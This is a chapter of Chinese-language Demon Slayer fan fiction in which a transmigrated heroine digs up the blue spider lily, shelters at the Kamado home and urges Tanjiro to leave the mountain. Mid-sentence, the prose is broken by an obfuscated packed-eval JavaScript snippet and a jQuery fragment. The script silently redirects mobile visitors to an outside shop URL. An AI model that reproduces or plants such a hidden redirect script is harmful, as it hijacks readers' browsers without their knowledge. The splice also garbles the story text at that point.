莜宁这两天焦虑得没有睡好。
虽说依靠剧情先知,她已经锁定了蓝色彼岸花的必现位置。可是这花娇贵得很,一年只在正午开那么几次,就算她在云取山住上好几个月,都不一定能等来一次花开。
不过她很快想到了另一个法子。
她找工匠定制了把洛阳铲。即使遇不上花开,也要把蓝色彼岸花的根茎,从缘一妻子的坟头掘出来带走。
都有根茎了,还愁开不出花吗?
……
是日,天朗气清,阳光明媚,莜宁和富冈义勇一同前往云取山。
按照山中居民的指引,他们不久便来到山顶,顺利寻到了那处坟头。
坟上杂草丛生,一眼望过去,没见半点儿蓝色。
早有心理准备的莜宁却并没有觉得失望,当即调整计划。
那只好……
对不起了,继国夫人,继国先生……
她面露难色,口中念念有词,对着坟头恭恭敬敬拜了几拜,然后在富冈义勇困惑的注视下,从行囊里取出工具,挽起衣袖,举起洛阳铲就要往下铲——
富冈义勇拽住她:“不要胡闹。”
“我没有胡闹。”莜宁挣开他的手,“之前不是跟你说了,找不到花,我们就挖根茎嘛?”
富冈神色迟疑,指向墓碑一侧:“你看那边。”
莜宁一愣,小跑绕到他指的方向,弯腰一看。
墓碑和坟头的缝隙之间,一朵蓝色的小花安静地绽放在枯草丛中。
她激动地趴在地上,伸手想要去够那朵花。“富冈,你真是个气运之子!怎么不早说!”
富冈将她从地上拉起。“我以为你看得见。”
“……”
坟头终是没能逃过一劫。
为了永绝后患,莜宁不仅掐走了花,还刨坟一尺,挖走了花的根茎。
这下彻底断了无惨的后路。
她觉得自己真是个天才,一切尽在掌握之中。
-
蓝色彼岸花的根茎呈球状,圆润得像一颗大蒜。
莜宁小心地将其收进木盒,刚站起身,方才还晴朗的天空骤然一变,豆大的雨滴噼啪砸落下来,重重敲在她脑门上。
……挖坟的报应这么快就来了?
她只能和富冈跑进林中,狼狈地挤在那件半色雨织下躲雨。
天光渐暗,雨势丝毫不减。莜宁忽然听见林深处传来细微的响动,混杂在雨声之中,模糊难辨。
她心里瞬间腾起了一种不祥的预感。
阴雨天,荒无人烟的山林,出现的能是什么好东西。
她刚拿走了鬼王心心念念的蓝色彼岸花,本就做贼心虚,此刻更是缩着身子瑟瑟发抖,下意识往富冈身边贴近了些许。
然而下一刻,一个少年的声音透过雨帘传了过来:“先生,小姐,你们是赶路的吗?先到我家中暂时躲雨吧。”
这声音一听就是阳光开朗大男孩,莜宁舒了口气,再对上对方那双赭红色眼睛时,她更是喜出望外。
来人正是原作男主,灶门炭治郎。
炭治郎笑着回应了莜宁亮晶晶的目光,把头顶的伞递到二人手中,随手脱下黑绿格纹羽织罩在自己头上。“你们撑伞,跟我来吧。”
话音落下,他便快步向前跑开,还不忘回头朝二人招手。
眼下没有别的办法,两人只得钻进伞下,跟着炭治郎快步前行。
雨势比刚才更加滂沱,山间的气温似乎也随之降了几度。
富冈义勇举着伞,大半伞面都偏向莜宁那一侧。伞下空间逼仄,两人挨得极近,雨水顺着伞沿不断往下滴落。
莜宁用余光看到了富冈此刻的模样。他的大半个肩膀都被打湿了,发尾也染上了水。
她提醒道:“伞往你那边挪一点。”
富冈没挪,也没应声。
伞柄近在眼前,她索性直接伸手,想要把雨伞接过来自己掌握。
富冈反应极快,迅速换手握住伞柄,同时向后撤开些许,两人的身形从并肩变为错开,可自始至终,莜宁都未曾被雨淋到。
莜宁无奈,只好顺势走在了他前面。
反正去往炭治郎家的路程应该也不远,莜宁没再纠结这些事。
山间土路被雨水泡得湿滑,走过一段碎石路时,莜宁脚下一滑,摇摇欲坠。
幸好小腿肌肉及时发力,在失去平衡的一秒前稳住了。
她轻舒了口气,目光不经意扫向身侧。
富冈的手悬在离她肩膀一拳远的地方,似是在虚扶着她。
那只手绷得像打了石膏般僵硬。
仿佛察觉到莜宁的视线落在手上,他连忙将手收了回去。
莜宁也有点儿尴尬,面上却不显:“要不我也扶着伞柄吧,这样万一滑了,也能借力稳住身体。”
说着,她伸手搭在伞柄上,在他的手上方,刻意隔开一段距离。
富冈义勇突然将手向上挪了挪。
眼见两人的手险些就要碰到一起,莜宁慌忙也跟着把手往上移。
富冈有些无奈:“你握住下面。”
莜宁“哦”了一声,将手挪到伞柄底端。
伞面依旧偏向她这边,雨水不断落在富冈的肩侧。
莜宁暗中使力,试图把伞面往富冈那边推过去一些。
然而对方反应极快,立刻攥紧伞柄,她这点力气全然落空。
莜宁舔了下唇,收紧手指迟疑了一会儿,趁他不备,又悄悄发力。
伞柄纹丝不动,依旧维持着原来的倾斜角度。
暗暗较劲了几次后,富冈义勇终于忍不住了,偏过头来,瞥了她一眼:“你这样会把伞弄坏。”
“……”
-
两人来到了灶门家的木屋里。
屋内炭火温暖,屋外雨势不减,加上灶门一家盛情难却,莜宁和富冈便跟着这一大家人一起吃了午饭。
饭后,雨势稍小了一些,富冈义勇去帮炭治郎的父亲炭十郎劈柴。莜宁本想借些柴火,给富冈煎药,却被葵枝夫人接下了这份活计。
莜宁心中十分过意不去,觉得叨扰人家太多,便取出事先备好的金平糖,分给炭治郎的弟弟妹妹。
这盒糖原本是为富冈义勇准备的,怕他喝完汤药口中苦涩。
糖果一拿出来,立刻引得孩子们一阵欢呼。
听闻二人是从城里过来的,小家伙们顿时来了兴致,围在莜宁身旁七嘴八舌,问个不停。
六太身形小小的,扑进莜宁怀里,小鼻子不停嗅来嗅去:“……香香……”
“姐姐身上好香。”花子也抱住莜宁的胳膊,凑过来闻了闻,“像花开的味道。”
“那我多蹭蹭姐姐,是不是也会变得香香的!”
竹雄仰着小脸,好奇发问:“这是玫瑰的香味吗?姐姐家里是不是种了好多玫瑰?”
“城里大家都种的什么花呀?”花子也追问,“城里的花,是不是比山里的还要好看?”
“……”
孩子们叽叽喳喳,一个个缠在莜宁身上。
莜宁本就没有带娃经验,被一群小家伙团团围住,没过多久,脸上便露出几分招架不住的憔悴。
炭治郎见状,温柔地把弟弟妹妹从她身上薅了下来。
“你们几个该午睡了哦,别缠着姐姐啦。”
-
考虑到屋内通风不佳,葵枝夫人把煎药的小火炉挪到了屋檐下。
莜宁接替葵枝夫人,守在门口看着炉火。
雨声淅沥,节奏平缓,周遭的白噪音让莜宁昏昏欲睡。
炭治郎从屋内走了出来:“莜宁小姐,你如果困了,就回屋休息吧,我来看着。”
“啊......谢谢,不用了。”莜宁使劲眨了眨惺忪的睡眼,“还差一会儿就熬好了。”
她打了个大大的哈欠,握着小扇子轻轻扇动炭火,困意依旧挥之不去。
炭治郎怕她打瞌睡一头栽向炉火,便在她身旁坐下,随手将自己刚烤干的黑绿色格纹羽织递给她御寒。
莜宁习惯了被人照顾,自然地接过羽织,披到了自己身上。
两人有一搭没一搭地聊了起来。
莜宁趁机开口:“炭治郎,你们有没有想过搬到城镇上生活?”
炭治郎摇头:“我们家祖祖辈辈居住在这里,估计大家都不会想离开的。”
莜宁语重心长:“可城镇里会有更多谋生的机会呀。会有很多比卖炭更轻松赚钱的营生,你的家人们也会有更好的生活环境。你现在太过辛苦啦,本可以过得更舒服些。”
“而且,这山里太危险了,不仅有觅食的熊,还有吃人的鬼,你真的……”
“食人鬼那些都只是乡间传说啦,莜宁小姐。”炭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17884765|212512||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
治郎望着她,温和地笑了笑,“之前去镇上有人也给我讲过。”
莜宁看了炭治郎一眼,眼神复杂。
炭治郎脸上的笑容慢慢敛了下去。
他的鼻子极其灵敏,能闻出每个人的情绪。自遇见莜宁起,他嗅到的大都是松弛轻快的气息,可这一刻,一股浓重的悲戚,清清楚楚漫了出来。
“莜宁小姐……”
莜宁低下头,并没说话。
刚刚她又忍不住想要插手原作人物命运了。
她现在有些纠结,如果灶门一家平平安安地活着,炭治郎还会愿意加入鬼杀队吗?
如果不是为了拯救变鬼的妹妹,他还能拥有那般坚韧的意志去修炼呼吸法吗?
世人皆称赞英雄,可英雄也不是生来就热血,也需要经历一些痛苦和磨练,才能长出那副筋骨,熬出那份热血。
可现在站在她眼前的,不是书页里一个符号化的英雄,是一个活生生的少年。
是方才冒雨引路,把伞推给他们,又将羽织递过来取暖的,心底柔软的善良少年。
凭什么这个世界,非要以碾碎一个普通人的家为代价,来成就一位英雄?
莜宁很清楚,自己是个没有格局的普通人,舍小家救天下的抉择,她做不到,也无法坦然去认同。
沉默半晌,她再次认真道:“真的,考虑一下吧,带着家人,去城镇生活。”
距离原作那个灭门惨案还有将近一年,不行她就隔三差五来劝劝他。
“不必担心生计,炭治郎这般能干,一定可以带着大家过上好日子。”莜宁努力扬起笑容,想要冲淡这略显压抑的气氛,“因为炭治郎很有长男力!”
炭治郎有些困惑:“长男力是什么意思?我只知道我是家里的长男。”
“就是什么都会做呀,收拾家务、照顾弟妹,还会帮家里卖炭。好厉害!”莜宁歪头看向他,“长男力最重要的就是:非常会照顾人!”
炭治郎被夸得有些不好意思:“啊也没有啦……其实、其实富冈先生也很会照顾你,他也很有……长男力!”
莜宁又想到了富冈之前的种种表现,简直跟“长男力”这仨字完全不搭边。她忍不住捂嘴笑道:“哪有啊,他是个弟弟,还是弟感挺重的那种……”
说到这里,她莫名觉得浑身一凉。抬头,正对上富冈冰冷的眼神。
说坏话被当场抓包,莜宁略显尴尬,看见他的手搭在日轮刀柄上,她便顺势转移话题:“干嘛去了?”
“劈柴。”
“?你别告诉我,你是拿日轮刀劈的。”
“劈得快……”
莜宁冲他竖起大拇指:“厉害,这事可千万别传出去了,不然整个锻刀村知道了都得追杀你。”
“……”
富冈义勇坐到她身边,将她身上披着的黑绿格纹羽织取下,还给炭治郎。又脱下自己的羽织披到她身上。
炭治郎见状了然一笑,转身回屋。“我去看看弟弟妹妹醒了没。”
留下两人沉默地坐在屋檐下。
眼看药已经熬够时辰,莜宁端起瓷碗,小心盛出滚烫的药汤。
她的手指贴着碗沿,正小心翼翼地挪动胳膊,一双手忽然覆了上来。
碗壁本来就灼手,莜宁被富冈义勇这突如其来的动作又惊得手一抖,药碗更是差点儿翻了。
幸而那只手很稳,一滴药也没撒出去。
莜宁后怕,抬眼瞪他:“你做什么!想让我们前功尽弃吗?”
富冈义勇垂下眼:“……烫。”
“知道烫你还碰!”莜宁把勺子塞他手里,“搅一搅,趁热喝了。”
富冈端碗喝了两口,忽然抬起脸,直直地看向她。
莜宁被看得莫名其妙:“怎么了?”
富冈有些闷闷的:“……我不是弟弟。”
莜宁:“?”
富冈义勇认真解释道:“我比你大,所以我是哥哥。”
莜宁:“……”
她觉得有些好笑,妥协了:“行行行,哥哥快喝药。”
而后,突然想到了什么,便捉弄似地将手伸到富冈义勇眼前。
她摊开手,两颗星星状的金平糖正躺在手心,一粉一蓝,在檐下昏蒙的雨光里,泛着碎碎的彩光。
“专门给哥哥留的糖,”她眼睛弯起狡黠的弧度,“喝完药才能吃哦。”